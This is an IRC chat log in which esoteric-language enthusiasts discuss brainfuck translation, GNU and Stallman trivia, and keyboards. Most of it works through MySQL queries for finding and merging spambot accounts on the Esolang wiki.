15:52:39 <fizzie> Oh, if it walks past the left edge of the tape in the brainfuck code, all bets are off.
15:53:18 <fizzie> Like the unbalanced [>[-<++++>]<<] will, presumably.
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15:55:01 <mRoman> I haven't thought of that
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15:57:29 <mRoman> ++++[>+++++[>+++++<-]<-]>>- works
15:57:35 <mRoman> (non-wrapping bfconstant 99)
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16:09:14 <mRoman> Nested loops work if they are balanced
16:10:02 <mRoman> at least those I tested from the brainfuck constants.
16:13:10 <mRoman> And the truth-machine translated from brainfuck works :)
16:14:15 <fizzie> There shouldn't be anything special about unbalanced loops either, as long as they don't try to go < past the left edge.
16:14:32 <fizzie> That, translated, with stdin "hello" produced "olleh" in the Javascript interp.
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16:17:55 <mRoman> Thank you very much for that translation script.
16:24:01 <fizzie> Added the missing spaces. (Now there's a bit more than exactly the necessary amount, but better safe than sorry.)
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17:11:23 <elliott> ais523: what is it with people and trying to prove TwoDucks is computable?
17:11:37 <ais523> people are trying to prove TwoDucks computable?
17:11:48 <elliott> http://esolangs.org/wiki/Talk:TwoDucks a new comment posted just today
17:13:21 <ais523> oh no, ESR's trying to interfere in politics
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17:14:19 <Taneb> El Stallman Richard?
17:14:31 <elliott> if you don't already know, you probably don't want to
17:14:39 <ais523> elliott: the problem is, I'm not convinced this will end well even if he argues a point of view I agree with, which seems possible (although far from certain)
17:15:11 <Taneb> Oh, I know who he is
17:15:22 <elliott> ais523: The likelihood of you and esr agreeing on a political point is about 0 unless I've grossly misjudged your political stances.
17:15:26 <Taneb> Well, I've skimmed his wikipedia article at least once in the past
17:15:59 <ais523> elliott: well, he's arguing something to do with regulation of the Internet
17:16:07 <ais523> which is a topic that I think there's a chance greater than 0 we agree on
17:16:14 <ais523> but I don't know his actual point of view on the issue, so I'm not sure
17:18:07 <Phantom_Hoover> It's not like ESR's wrong on everything, he's just right on some things and then takes it too far.
17:18:28 <ais523> Phantom_Hoover: that's a good description
17:19:28 <elliott> Phantom_Hoover: Gun-toting islamophobic libertarianism doesn't really start at being right.
17:19:38 <elliott> It might accidentally cross into the realms of rightness by mistake once in a while.
17:20:08 <elliott> Wait, I think he's racist too. I lost track trying to forget his political posts.
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17:22:27 <Taneb> I think I'll start saying that I use GNU/Windows, just to confuse people
17:23:10 <Taneb> Nah, that isn't as funny as it seemed when it was on the inside of my head
17:24:47 <ais523> Taneb: you mean GNU/NT
17:24:51 <ais523> you have to put a kernel after the slash
17:25:17 <ais523> and you probably /don't/ do that, because I don't think NT can load GNU tools without several layers in between
17:25:38 <fizzie> GNU/GNU, the better name for GNU/Hurd.
17:25:40 <ais523> it's not like you can use bash as your init process, like you can in Linux (and occasionally have to, if your system gets borked)
17:25:43 <fizzie> After all, Hurd is the GNU kernel.
17:26:30 <Friendship> fizzie: They like to just call it "GNU" y'know X-D
17:26:37 <Phantom_Hoover> elliott, you should totally write a toolset thing and call it Elliott.
17:26:37 <ais523> right, it's just called "GNU"
17:27:18 <Friendship> elliott: Debian isn't the "they" to whom I was referring.
17:27:20 <ais523> that's because Debain have to make sense
17:27:30 <ais523> in order to be taken seriously
17:27:41 <ais523> Debian is serious distro
17:27:50 <elliott> Yeah, but I'm pretty sure Debian agree with GNU on 90% of things.
17:27:52 <ais523> almost as serious as Red Hat
17:28:06 <ais523> elliott: right, but wow is the other 10% hotly argued
17:28:24 <ais523> GNU hate them for having a non-free repo that's compatible with the distro, even though it technically isn't part of it
17:28:52 <elliott> They still administrate and maintain it :P
17:29:34 <Friendship> Idonno, it took me more work than it ought to have to get rid of those shitty nouveau drivers and install NVidia's binary ones :)
17:30:08 <ais523> elliott: oh, crazy and stupid situation at work
17:30:25 <ais523> the project we set the GPU students can only be worked on from home if you happen to have a recentish NVidia GPU in your own computer
17:31:27 <Friendship> "Every time I tarball, my Makefile becomes corrupt and I think this is why my program isn't working when I submit. What do?" // 99-to-1 this guy is typing tar zcf Makefile <rest of his files>
17:31:55 <elliott> Friendship: Not like tar has the most intuitive of user interfaces.
17:32:10 <elliott> Probably they're listing the tarfile last in analogy with mv, cp and so on
17:32:13 <Friendship> elliott: We give them the exact command to run :)
17:32:24 <elliott> Friendship: You think people read that?
17:32:35 <Friendship> No, but it makes a nice excuse to scream at them.
17:33:25 <ais523> elliott: actually, many nontechnical users, if you give them an exact command to run, they'll just run it
17:33:43 <ais523> but right, command-line interfaces could do with more standardisation
17:34:18 <ais523> I like the rule (which GNU invented IIRC but don't enforce consistently) that if you give a command a filename to write, not read, it must be prefixed with -o (or >, for a different reason)
17:34:48 <Friendship> tarfs -z lolmytarfile.tar mnt/ ; cp -a lolmyfiles mnt/ ; fusermount -u mnt/
17:35:10 <elliott> http://www.cs.virginia.edu/~evans/cs655/readings/mockingbird.html
17:35:23 <fizzie> I wonder what's RMS's current distro recommendation. It's been at least GNU/LinEx and UTUTO and one third one that all have been described as "the only one with no non-free software" at one point, but I'm not sure which was the recentest one and if it's still kosher.
17:35:34 <ais523> fizzie: what did you expect to be in /mnt?
17:35:52 <elliott> fizzie: He uses a Lemote Yeeloong thing.
17:35:57 <elliott> Because it's aaaaall free.
17:35:59 <ais523> fizzie (actually fizzie this time): I think they mentioned Gobuntu at one point
17:36:02 <elliott> Presumably with whatever OS it comes with.
17:36:06 <ais523> actually, I'm surprised RMS doesn't use LFS
17:36:14 <ais523> he's a good enough programmer to be able to maintain it
17:36:17 <elliott> http://upload.wikimedia.org/wikipedia/commons/5/56/Richard_Matthew_Stallman_working_on_his_Lemote_Machine.JPG
17:36:29 <elliott> ais523: I doubt he wants to
17:36:32 <elliott> he doesn't really like Linux
17:36:56 <ais523> he has no philosophical objection to using it, but doesn't want to contribute, or something
17:37:11 <ion> He seems to have a huge jaw in that photo. :-D
17:37:38 <ion> http://stallman.org/stallman-computing.html
17:37:39 <elliott> heh, that took a while to see
17:38:04 <elliott> "I use a Lemote machine which has a free initialization program and a free operating system. One other advantage of this machine is that Windows has never supported it."
17:38:13 <elliott> Windows supporting a machine will make rms not want to use it?
17:38:24 <elliott> ais523: oh, he cheats: "I do not have a preferred GNU/Linux distro. I recommend all the ethical distros — namely, those that are 100% free software.
17:38:24 <elliott> I've chosen not to have any preferences among those ethical distros. But I am not in a position to judge them on other criteria: even to try them all would be a lot work that I have no need to do."
17:38:41 <elliott> ais523: that said, gnu.org links "Download GNU" to http://www.gnu.org/distros/free-distros.html
17:38:42 <ais523> that's surprisingly reasonable, actually
17:38:52 <elliott> so you can see the very short list they recommend
17:39:10 <elliott> their front-page screenshot http://www.gnu.org/distros/screenshot.html is from Trisquel, IIRC
17:39:26 <elliott> and ofc the FSF sponder gNewSense
17:39:51 <elliott> ...whose website runs MoinMoin
17:40:03 <elliott> has anyone ever installed MoinMoin and not immediately regretted it?
17:40:08 <fizzie> Urban legend: If you take a video of RMS speaking, and re-encode that to a non-free format such as MPEG4, RMS will not appear in the video. (It's like vampires and mirrors.)
17:40:54 <ais523> fizzie: did you just invent that urban legend?
17:41:00 <elliott> you're not allowed to ask that
17:41:07 <elliott> if he says yes, it won't spread
17:41:18 <ais523> and if he says no, it won't spread either
17:41:20 <fizzie> ais523: I... maybe. But it was inspired by the RMS-speaking info-package.
17:41:30 <elliott> "When you start a Lisp system, it enters a read-eval-print loop. Most other languages have nothing comparable to read, nothing comparable to eval, and nothing comparable to print. What gaping deficiencies!"
17:41:56 <fizzie> But can they do the dashes.
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17:42:04 <elliott> Phantom_Hoover: they don't
17:42:18 <elliott> how many languages have a way to fully print out any object?
17:42:31 <elliott> how many languages have a way to read in any object?
17:42:36 <elliott> "Lisp is no harder to understand than other languages. So if you have never learned to program, and you want to start, start with Lisp. If you learn to edit with Emacs, you can learn Lisp by writing editing commands for Emacs. You can use the Introduction to Programming in Emacs Lisp to learn with: it is free as in freedom, and you can order printed copies from the FSF."
17:42:44 <elliott> ais523: OK, rms tells people to learn Emacs Lisp as a first language
17:43:10 <elliott> "I read a book about Java, and found it an elegant further development from C."
17:43:16 <Phantom_Hoover> Does Lisp necessarily let you read and print any object?
17:43:20 <elliott> "I skimmed documentation of Python after people told me it was fundametally similar to Lisp. My conclusion is that that is not so. When you start Lisp, it does `read', `eval', and `print', all of which are missing in Python."
17:43:34 <elliott> Phantom_Hoover: well, not sure; but read/print also operate with the same syntax as Lisp
17:43:39 <elliott> which is the most important thing
17:43:40 <ais523> hmm, I'd debate that if I hadn't come across a script that had the same purpose as a CGI script written in elisp
17:43:49 <fizzie> "Please check with me before you allow a CD of GNU/Linux to be distributed at the event [where I'm speaking]."
17:43:50 <ais523> it wasn't actually a CGI script because it wouldn't run if connected to a webserver, though
17:43:53 <ais523> I think it was run manually
17:44:16 <elliott> wow, RMS has a twitter account
17:44:18 <elliott> although he refuses to use it
17:44:27 <ais523> so why does he have one in the first place?
17:44:39 <elliott> to log into websites that use Twitter's OAuth thing
17:44:52 <elliott> "I do not post on 4chan." THANKS, I WAS WONDERING
17:45:21 <ais523> elliott: it's anonymous, you can't tell
17:45:39 <ais523> although, some celebrities have rules so you can tell if it's them if they post elsewhere
17:45:45 <ion> I heard all messages on 4chan are posted by RMS.
17:45:54 <ais523> like PJ of Groklaw's rule that if she posts anywhere else, she'll report the fact on Groklaw so that people know it's her
17:45:59 <elliott> ais523: 4chan isn't necessarily anonymous, although I think /b/ is
17:46:09 <kmc> i'm going to spread that urban legend
17:46:20 <elliott> although, hmm, I think they only have the easily-crackable tripcode format, so probably it effectively is
17:46:33 <elliott> kmc: you're doing god's work
17:46:44 <ion> elliott: Which one’s?
17:48:12 -!- augur has joined.
17:50:09 <elliott> Feb 3rd update: For every 5,000 signatures we get, we will send this giant "1984" postcard to Steve Jobs."
17:51:23 <elliott> ais523: fizzie: hey, how are you meant to indent SQL?
17:51:48 <ais523> you can't meaningfully indent it unless you add far too many newlines
17:51:54 <ais523> to give something /to/ indent
17:52:26 <elliott> anything is better than select user_name from user where (select count(*) from revision where rev_user = user_id) = 0 and (select count(*) from archive a1 where a1.ar_user = user_id and a1.ar_timestamp = (select min(a2.ar_timestamp) from archive a2 where a2.ar_title = a1.ar_title and a2.ar_namespace = a1.ar_namespace) and exists (select * from logging where log_action = 'delete' and (log_namespace = 0 or log_namespace = 2) and log_comment like '%
17:52:26 <elliott> spam%' and log_title = a1.ar_title and log_namespace = a1.ar_namespace)) > 0;
17:53:52 <fizzie> I think you just indent it as you wish. But probably subqueries get one level, and sometimes the fixed bits like SELECT and FROM and such are in the first column.
17:54:18 <elliott> OK, this is slightly better.
17:54:50 <elliott> "DbD's Steve Jobs welcomes fans: http://i.imgur.com/nUtZK.jpg" Uh, that... doesn't look much like Jobs.
17:56:43 <elliott> http://sqlformat.appspot.com/
17:56:46 <elliott> Yay, I can just outsource the job.
17:57:35 <ion> Yeah, that doesn’t look like Jobs. This does. http://youtu.be/aeXXwQrQiPE
17:58:39 <elliott> fizzie: I don't suppose there's some "standard" way for making little subquery functions?
17:58:53 <elliott> I could factor out these awful "page creation time" and "page was deleted" things.
17:59:26 <fizzie> Of course not, though there are things that are somewhat more or less kinda-sorta partially compatible with Oracle's PL/SQL.
17:59:27 <elliott> Well, okay, I don't care how standard it is.
17:59:35 <elliott> Does MySQL have such a thing?
18:01:49 <fizzie> Actually I suppose plain SQL functions are a semi-standard thing.
18:02:03 <fizzie> And of course there are views.
18:02:22 <elliott> Friendship: Excellent, tell me about views. fizzie: Tell me about SQL functions.
18:02:49 <Friendship> elliott: http://lmgtfy.com/?q=sql+views
18:03:31 <elliott> That's not telling! That's pointing.
18:04:40 <fizzie> With a view you can make a complicated query into a sort-of-a virtual table thing, so that you can run further selects and such on it.
18:04:50 <elliott> Right, I don't think that's quite what I want though.
18:04:57 <elliott> The things I want to refactor are
18:04:58 <elliott> (SELECT MIN(a2.ar_timestamp)
18:04:59 <elliott> WHERE a2.ar_title = a1.ar_title
18:04:59 <elliott> AND a2.ar_namespace = a1.ar_namespace)
18:05:06 <elliott> parametrised on (a1.ar_title, a1.ar_namespace), and
18:05:14 <elliott> WHERE log_action = 'delete'
18:05:14 <elliott> AND (log_namespace = 0 OR log_namespace = 2)
18:05:14 <elliott> AND log_comment LIKE '%spam%'
18:05:14 <elliott> AND log_title = a1.ar_title
18:05:16 <elliott> AND log_namespace = a1.ar_namespace)
18:05:26 <elliott> parametrised on (a1.ar_title, a1.ar_namespace) again.
18:05:52 <Friendship> Yeah, views only let you factor out the constant bits.
18:06:15 <elliott> Friendship: Weeeell, I could make a deleted_for_spam table as a view, I think.
18:06:18 <elliott> Which would vastly simplify that part.
18:06:21 <elliott> And a page_creation_times table.
18:06:28 <elliott> But just making a function out of those two would be nicer...
18:06:41 <fizzie> A function is also something you can make, yes.
18:08:36 <elliott> When I do "CREATE FUNCTION", does that, like... store it?
18:08:40 <elliott> Because I only need it for this one thing.
18:09:29 <fizzie> CREATE FUNCTION creationtime(title <typeoftitle>, namespace <typeofnamespace>) RETURNS <typeoftimestamp> RETURN (SELECT MIN(ar_timestamp) FROM archive WHERE ar_title = title AND ar_namespace = namespace); could work.
18:09:49 <fizzie> DROP FUNCTION, I'd guesstimate.
18:10:45 <elliott> fizzie: Do I have to specify the size of the types?
18:10:49 <fizzie> There are temporary tables (persist for the connection, are automatically dropped then), but I'm not sure about temporary functions.
18:10:55 <elliott> I'm lazy and don't want to look up how big the namespace int is :P
18:11:11 <fizzie> I'd think conversions happen if they don't match exactly.
18:12:51 <fizzie> MySQL does have a compound statement thing which would let you do more complicated logic in a function, but for result-of-a-single-select I think just RETURN (query) should work.
18:13:40 <elliott> First things first though, time to negate the query and see what other patterns I can spot.
18:14:47 <elliott> -U, --i-am-a-dummy Synonym for option --safe-updates, -U.
18:15:02 <fizzie> Also INDENTATION http://sprunge.us/BEaN
18:16:15 <elliott> [elliott@dinky esowiki]$ ssh mysql esolang_wiki --html <spammers.sql >spammers.html
18:16:38 <fizzie> From dinky to solidity; that's progress.
18:17:32 <elliott> hey ais523, you have p7zip, right?
18:17:56 <ais523> I think I have some 7z-related program, but I think it's called something else
18:18:00 <elliott> err, do you have 7z(1), then?
18:18:19 <fizzie> "p7zip" has a 'p' for 'port'.
18:18:23 <ais523> I seem to have 7z and 7za
18:18:57 <elliott> ais523: how worky is your email?
18:19:22 <ais523> Yahoo! have a borked SSL cert for my usual method of accessing it
18:19:32 <ais523> I can access it via the web interface, but it's somewhat obnoxious
18:19:48 <ais523> as you can see from my emails to Agora
18:19:58 <ais523> (obnoxious on the recipients too)
18:20:51 <elliott> ais523: unobnoxious enough to download a single attachment?
18:21:05 <ais523> depends on how physically large it is
18:21:14 <ais523> if it's less than 20MB (possibly MiB), I should be able to manage it
18:22:47 <ais523> oh, @bham's working fine, but I'm increasingly trying to use it as a work email
18:22:55 <ais523> @yahoo is probably better
18:23:08 <elliott> OK, sent message to @yahoo
18:23:22 <ais523> I received it before your "OK, sent"
18:23:39 <elliott> it contains a list of users (+ id, email, realname and edit count) that the spammer query does /not/ catch
18:23:45 <elliott> it still has some obvious spam users in them with some obvious patterns
18:23:52 <elliott> including, I think, some that follow the patterns you discovered
18:23:52 <ais523> heh, Yahoo! went and scanned it with Norton
18:24:03 <elliott> and the pattern I couldn't manage to pin down earlier
18:24:55 <ais523> "\d+ buy .*" is an obvious uncaught pattern
18:25:07 <ais523> (err, make that "^\d+ buy"; I keep forgetting regexes need anchors)
18:30:09 * ais523 thinks that this conclusively establishes that there is /no/ channel I'm currently in that's potentially safe from NetHack references
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18:36:58 <elliott> 2010$username$email$firstname $lastname0
18:37:01 <elliott> behold, one of our actual users
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18:40:53 <ais523> I wonder if $username made any edits replacing the page with $page, with summary $summary
18:41:02 <ais523> check the deleted history of $title :)
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18:53:55 <elliott> fizzie: Why's this query returning ~every user:
18:53:55 <elliott> select user_id, user_name, user_email, user_real_name, user_editcount
18:53:56 <elliott> where exists (select 1 from user u2 where u2.user_id != u1.user_id and
18:53:56 <elliott> left(replace(u2.user_email,'.',''),locate('@',replace(u2.user_email,'.',''))) =
18:53:57 <elliott> left(replace(u1.user_email,'.',''),locate('@',replace(u1.user_email,'.','')))
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18:58:55 <elliott> ais523: OK the SQL debugging falls to you :P
18:59:46 <fizzie> I suppose you've checked what the subselect returns for some J. Random User?
19:00:06 <elliott> fizzie: You suppose wrong!
19:00:38 <fizzie> It does look like a reasonable "thing before the @, disregarding dots" comparison.
19:01:33 <elliott> Is (NULL = x) true for some reason?
19:01:50 <ais523> oh, I think it might be
19:02:06 <fizzie> I don't think it is. In fact, I don't think null = null is true either.
19:02:19 <ais523> right, I knew it had some special behaviour with comparisons
19:02:29 <ais523> oh, is this MySQL, which doesn't distinguish between NULL and ''?
19:03:10 <elliott> mysql> select left(replace('ab@c','.',''),locate('@',replace('ab@c','.','')));
19:03:10 <elliott> +-----------------------------------------------------------------+
19:03:11 <elliott> | left(replace('ab@c','.',''),locate('@',replace('ab@c','.',''))) |
19:03:11 <elliott> +-----------------------------------------------------------------+
19:03:11 <elliott> +-----------------------------------------------------------------+
19:04:13 <kmc> are you working on a SQL-based esolang?
19:05:21 <ais523> nah, he's trying to delete all the spambots from Esolang's users tables
19:08:04 <elliott> fizzie: Maybe it's going wrong because one person has an empty email or something?
19:09:16 <fizzie> Maybe, though purely going by logic I think it should work. If one person has an empty email, left(replace(u2.user_email,'.',''),locate('@',replace(u2.user_email,'.',''))) for that one person should just be '', in which case it shouldn't match the non-'' thing returned for u1.user_email.
19:09:53 <fizzie> Do you have any empty emails? select count(*) from user where user_email = '' or user_email is null?
19:10:35 <elliott> I don't know whether they end up empty or null, is that important?
19:10:51 <fizzie> Not that I know of, though null is admittedly more special.
19:11:05 <fizzie> Still, I think that should at most lead it to report every emailless person.
19:11:15 <fizzie> As long as there's >1 such.)
19:11:15 <elliott> +-------------------------------------------------------------+
19:11:16 <elliott> | left(replace(null,'.',''),locate('@',replace(null,'.',''))) |
19:11:16 <elliott> +-------------------------------------------------------------+
19:11:16 <elliott> +-------------------------------------------------------------+
19:11:33 <elliott> fizzie: It reports a bunch of emailful and emailless users
19:12:32 <elliott> There are indeed two rune@* users.
19:18:59 <elliott> [[::If the program halts, it'll print 0, then eventually erase that and print 1. If the program doesn't halt, it'll print 0 and loop forever. So at any given point before it replaces the 0 with a 1, you can't tell whether it's going to halt or not, and since nonhalting programs never halt, you'll never be able to say for sure whether that 1 will eventually show up. So this doesn't solve the halting problem.]]
19:19:04 <elliott> this person does not seem to understand twoducks at all
19:25:17 <ais523> it's confusing time with metatime
19:44:17 <ais523> hmm, I think that person is actually trying to apply the Feather time-travel model to TwoDucks
19:49:28 <Sgeo> There's at least one person who knows the Feather time-travel model?
19:50:02 <ais523> oh, it has a very simple time travel model (it's basically meta-timeline)
19:52:00 <elliott> "Veoh is a Flash video site relying on user contributed content. IO Group argued that since Veoh transcoded user uploaded videos to Flash format it became a direct infringer and the materials were under their direct control, thereby disqualifying them for DMCA safe harbor protection."
19:52:17 <ais523> I hope they didn't /succeed/
20:01:08 -!- oerjan has joined.
20:03:04 <fizzie> I, uh, doesn't YouTube transcode too?
20:05:30 <ais523> this is as crazy as the "it made a copy in memory" thing that Blizzard made to stick when they were suing Glider
20:08:08 <fizzie> Copies in memory are quite a popular thing to include, I believe.
20:12:13 <elliott> Hey fizzie, look what you have wrought: http://sprunge.us/JXgX
20:29:43 <elliott> fizzie: So, erm, would you hate me if I asked more SQL questions?
20:33:13 <oerjan> SQLing is a bannable offense.
20:34:08 <elliott> oerjan: Is deleting spammers?
20:34:30 <oerjan> ah. i guess in that case it counts as justified.
20:35:27 <oerjan> (what is the english term for a law not applying because of overriding emergency concerns?)
20:35:53 <ais523> there's "duress", but that's when something's legal because you did it with a gun to your head
20:35:58 <ais523> (and someone else was pointing the gun)
20:36:23 <oerjan> maybe the english/americans don't _have_ such a thing, and that's why their laws are so insane.
20:36:58 <elliott> exceptional circumstances?
20:37:03 <elliott> hmm, apparently not: http://en.wikipedia.org/wiki/Exceptional_circumstances
20:37:31 <oerjan> hm maybe i should try to look up the norwegian term and see if there's an interwiki link
20:38:30 <oerjan> "necessity", apparently
20:39:12 <oerjan> "Except for a few statutory exemptions and in some medical cases [1] there is no corresponding defense in English law."
20:39:27 <oerjan> so it's just the english that are insane, not the americans, check.
20:42:06 * oerjan thinks he may have insulted someone.
20:43:59 <oerjan> "However case law suggests necessity is narrowed to medical cases."
20:44:11 <oerjan> so the US is maybe not that different anyway.
20:48:57 <oerjan> hm, the first time cube quote above could be interpreted as true.
20:54:17 <elliott> 02:05:11: <pikhq> I've heard the Das Keyboards are actually rather high-quality keyboards, though...
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20:55:46 <elliott> oerjan: If you don't wake fizzie up, you'll have to answer my SQL questions.
20:56:18 <elliott> 02:10:11: <kmc> that and people who just want a keyboard with serious tactile response
20:56:18 <elliott> 02:10:21: <kmc> there are a few others in that category
20:56:28 <elliott> kmc: There are many others in that category, and they're all better than Das
20:56:49 <oerjan> fizzie: WAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKE UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPPPPPPPPP!!!!!!!!!!!!!!!!!!!!!!!!!!!!111111111111111ELEVEN
20:57:06 <olsner> oh, are we talking about keyboards now?
20:57:13 <oerjan> the threat might be more effective if i actually knew SQL.
20:57:35 -!- monqy has joined.
20:57:47 <elliott> oerjan: You'll have to learn it.
20:58:08 <elliott> 02:13:00: <kmc> i wonder which switch technology is used in the Kinesis Advantage
20:58:09 <elliott> 02:13:12: <kmc> it's pretty loud and has decent feedback
20:58:28 <elliott> They're like the Blues (as used, badly, in the Das) but without the explicit click and slightly lighter feedback.
20:58:49 <elliott> 02:17:39: <pikhq> zzo38: What, the Happy Hacking? Those things are... Meh.
20:58:53 <elliott> They use Topre switches, though.
20:59:05 <elliott> 02:19:15: <pikhq> They're more-or-less laptop-layout boards.
20:59:06 <elliott> 02:19:20: <pikhq> With dome switches.
20:59:28 <elliott> (Some of the Happy Hacking models use rubber dome, but they're not the ones everyone knows.)
21:01:35 <elliott> oerjan: I'll keep talking about keyboards if you don't answer my SQL questions :'9
21:02:58 <oerjan> i _said_ i don't know SQL
21:04:39 <oerjan> if i can tune out linux administration talk, i can tune out keyboards.
21:06:43 <elliott> fizzie: So, say I have a SELECT query. I also have a list of (table,column)s. Those columns contain references to user_ids. I want to update all those columns to set the user_id to 0, wherever they're equal to a user_id returned by that SELECT query.
21:07:10 <elliott> I could do "UPDATE table SET column = 0 WHERE column = (SELECT user_id FROM user WHERE <myquery>)" but that'd duplicate the query across every (table,column) pair, and be really slow.
21:08:52 <elliott> fizzie: (If this somehow helps things, I would like to delete the user records in question at the end.)
21:09:05 <elliott> Should I create a view on users or something? Would that cache the results?
21:09:18 <oerjan> <fizzie> ais523: With unbounded tape cells, I wouldn't bet on that. I mean, it wouldn't surprise me if the TC three-cell brainfuck construction always knew in which cell it is.
21:09:28 <kmc> good to know
21:09:49 <oerjan> of course. i couldn't even find a way to use unbalanced loops usefully with that few cells.
21:10:55 <oerjan> (i certainly tried, during my failed attempt to implement a halting condition when each fractran rule had its own loop)
21:11:28 <fizzie> elliott: Well, uh. Probably a temporary table of the list of user_id's you want to zero would be nice, then you could quite efficiently zero those, maybe with the UPDATE ... FROM thing or some-such.
21:12:30 <elliott> fizzie: I'd need a join of some sort to the temporary table, right?
21:12:34 <fizzie> elliott: If the database in question had proper foreign keys and those had ON DELETE SET DEFAULT behaviour and all your columns had a default of zero, then just deleting the user rows would automagically do the right thing, but I doubt MediaWiki does that. Historically MySQL and FOREIGN KEYs have been kinda iffy.
21:12:53 -!- kmc has quit (Quit: Leaving).
21:13:02 <elliott> Yes, I don't think MediaWiki does the "relational integrity" thing.
21:13:21 <fizzie> UPDATE ... FROM basically joins the update table with the FROM-list items. If it's a regular (inner) join, you'll get one updated row for each item in your list of userids.
21:13:39 <elliott> Oh, I didn't even know there was an UPDATE ... FROM.
21:14:11 <fizzie> Probably "WHERE column IN (SELECT user_id FROM mylistofbadguys)" or some-such might also work. I forget how that is spelled, exactly, but anyway.
21:14:44 <elliott> Let's deprecate UPDATE FROM!
21:14:44 <elliott> I guess that many people using UPDATE … FROM on a daily basis do so without being aware that they are violating all SQL standards."
21:15:08 <elliott> fizzie: MySQL doesn't have UPDATE FROM.
21:15:16 <elliott> It's a Microsoft thing, apparently.
21:15:26 <fizzie> Well, it's not a Microsoft-*only* thing.
21:15:28 <fizzie> "When a FROM clause is present, what essentially happens is that the target table is joined to the tables mentioned in the from_list, and each output row of the join represents an update operation for the target table. When using FROM you should ensure that the join produces at most one output row for each row to be modified. In other words, a target row shouldn't join to more than one row from the other table(s). If it does, then only one of the ...
21:15:35 <fizzie> ... join rows will be used to update the target row, but which one will be used is not readily predictable.
21:15:37 <fizzie> Because of this indeterminacy, referencing other tables only within sub-selects is safer, though often harder to read and slower than using a join."
21:16:03 <elliott> MySQL has... transactions, right?
21:16:22 <fizzie> Yes, though I'm not entirely sure what kind of.
21:16:36 <elliott> I don't suppose there's a way to clone a table's schema under a different name.
21:16:39 <elliott> (To be my temporary table.)
21:17:00 <fizzie> You can generate a temporary table as the result of a select. If you select *, it clones all columns.
21:17:01 <elliott> I guess that's what views are for.
21:17:08 <fizzie> (If you select less, then you'll get less.)
21:17:14 <elliott> CREATE [TEMPORARY] TABLE [IF NOT EXISTS] tbl_name
21:17:14 <elliott> { LIKE old_tbl_name | (LIKE old_tbl_name) }
21:18:57 <fizzie> I suppose you actually need to create it if you use the "INSERT INTO table SELECT ..." syntax.
21:19:12 <elliott> Ooh, you can update multiple tables in one UPDATE?
21:20:30 <fizzie> Oh, right; yes; so it's part of CREATE TABLE syntax.
21:20:40 <fizzie> "CREATE TABLE new_tbl SELECT * FROM orig_tbl;"
21:20:51 <fizzie> Or CREATE TEMPORARY TABLE if you want it to auto-drop when you disconnect.
21:21:22 <fizzie> If you don't list any columns after new_tbl, the names and types will be taken from whatever the select returns.
21:24:16 <fizzie> Anyway, the sub-select in an UPDATE statement's WHERE term should return just one line if you're testing it with =; so I think it'd be something slightly ridiculous like UPDATE table SET column = 0 WHERE column = (SELECT user_id FROM badguys WHERE user_id = column) or then with the IN operator as in UPDATE table SET column = 0 WHERE column IN (SELECT user_id FROM badguys).
21:24:26 <fizzie> No idea which one's faster.
21:24:39 <Phantom_Hoover> OK guys official announcement, Whitespace is now The Worst Thing.
21:25:22 <ais523> butohdearhowamIgoingtowritelegiblynow?
21:25:32 <elliott> Here's what I currently have (although me and ais523 have agreed to tweak what it does slightly).
21:26:10 <elliott> That will take the user count down to 1432.
21:26:21 <elliott> Then we'll need YOUR HELP(tm) rounding up the remaining spambots.
21:27:37 <fizzie> http://p.zem.fi/651r -- can't tell which one of those would be better even with plans, though obvsly your statistics would differ also. (That's a bit of a nonsense example.)
21:29:08 <fizzie> Anyway at least with "in (select ...)" where ... doesn't depend on the particular row it's only doing the sub-select once.
21:29:27 <fizzie> (On the other hand, in the second the subquery is just an index check.)
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21:30:44 <elliott> http://behappyandjoyful.com/
21:31:10 <fizzie> Doesn't MediaWiki have some sort of a defined process of "do this if you want to programmatically remove a list of users" as opposed to manually setting a bunch of columns to zero? (Or is that in fact the process?)
21:31:10 <elliott> fizzie: What's the bestest name to give all the spambots?
21:31:26 <elliott> fizzie: It doesn't really support deleting users in any sort of official capacity.
21:31:40 <elliott> That (table, column) was a-stolen from the "Merge User and Delete" extension.
21:31:43 <fizzie> Oh. I suppose that's some kind of a philosophical thing.
21:31:55 <elliott> It just can't really do it.
21:32:11 <elliott> I think they consider it too brittle too bother with.
21:32:49 <elliott> Though I think there *is* a "delete unused accounts" script.
21:32:56 <elliott> But that thing doesn't have to bother updating any columns, by definition.
21:33:21 <elliott> fizzie: Anyway, like I said, we're actually going to set them to something other than zero.
21:33:32 <elliott> We're going to register a new user, and merge all the things the spammers did into that one.
21:39:03 <elliott> <elliott> fizzie: What's the bestest name to give all the spambots?
21:39:14 <elliott> ais523: comedy option: "MediaWiki default"
21:39:25 <ais523> elliott: oh no, seriously oh no
21:39:35 <ais523> I like "deleted spambot account"
21:39:44 <elliott> We don't know they're all bots!
21:40:38 <elliott> oh, since we're handling the tables properly, this means we can extend it to those with undeleted edits
21:41:18 <fizzie> It's not a "deleted spambot account" if it's not deleted.
21:41:23 -!- Jafet has quit (Quit: Leaving.).
21:41:34 <elliott> It's the account for deleted spambots.
21:42:25 <fizzie> "Esoteric Marketing Department". Well, maybe not.
21:43:46 <elliott> ais523: hmm, can you think of any way to make the 3-duplicate-emails thing less likely to have false positives?
21:43:51 <elliott> I realise it almost certainly has none
21:43:57 <elliott> but it's the only clause that I'm not completely sure about
21:44:03 <ais523> make it 4 duplicate emails?
21:47:42 <oerjan> hm is this when 4 accounts have the same email?
21:48:32 <oerjan> if none of them have non-deleted edits you should be pretty safe, i'd think
21:48:39 <elliott> that criterion isn't part of it, no
21:48:47 <elliott> we've found several legit users with 2 accounts with the same email (me, ais523, evincar, Sgeo)
21:49:26 <ais523> so why are Sgeo's accounts called Sgeo2 and Sgeo3?
21:49:46 <ais523> or does Sgeo[1] have a different email?
21:50:40 <elliott> hmm, verified that all users with exactly 3 accounts with the same email are spammers
21:50:52 * elliott verifies that all users with exactly 4 accounts with the same email are spammers
21:51:00 <elliott> that way, we can just use more-than-2 accounts as the criterion and be as safe
21:52:10 <oerjan> elliott: you could call the account "Sir Spamalot"
21:52:29 <oerjan> although i'm sure i've seen that somewhere
21:52:33 <elliott> ais523: meh, I feel safe in saying that no legitimate user would have more than 4 accounts with the same email
21:52:47 <ais523> yep, that would seem reasonable
21:52:48 <oerjan> well, there's a monty python musical
